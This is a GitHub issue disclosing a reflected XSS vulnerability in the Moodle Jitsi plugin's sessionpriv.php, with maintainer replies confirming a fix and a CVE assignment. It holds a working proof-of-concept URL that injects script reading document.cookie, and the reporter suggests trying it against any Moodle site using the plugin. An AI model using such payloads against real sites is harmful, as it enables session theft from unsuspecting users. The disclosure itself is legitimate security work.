Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cross-site scripting (XSS) in sessionpriv.php #67

Closed
PurushottamanR opened this issue Jan 29, 2021 · 6 comments
Closed

Cross-site scripting (XSS) in sessionpriv.php #67

PurushottamanR opened this issue Jan 29, 2021 · 6 comments

Comments

@PurushottamanR
Copy link

PurushottamanR commented Jan 29, 2021

The parameter "nom" is not filtered properly causing javascript code to be injected.

source1-jitsi

source2-jitsi

Moodle Jitsi Plugin XSS POC.pdf

It can be easily triggered by clicking this URL
https://targetdomain.com/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2Ftargetdomain.com%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.cookie)%3b//&ses=test_user&t=1

replace "targetdomain.com" with any moodle website you know that is using this plugin.

@PurushottamanR PurushottamanR changed the title XSS in sessionpriv.php Cross-site scripting (XSS) in sessionpriv.php Feb 1, 2021
@SergioComeron
Copy link
Member

v.2.8.4 prevents code inyections into the name parameter in private sessions.

@PurushottamanR
Copy link
Author

Thank you for the reply. Was this vulnerability highlighted to you before?

@SergioComeron
Copy link
Member

Never. Lot of thanks!

@mwuttke
Copy link
Contributor

mwuttke commented Feb 4, 2021

@SergioComeron: Please could you bump up the version number?

@SergioComeron
Copy link
Member

Sorry, I forgot it. hehe
I already did the push.

@abergmann
Copy link

CVE-2021-26812 was assigned to this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants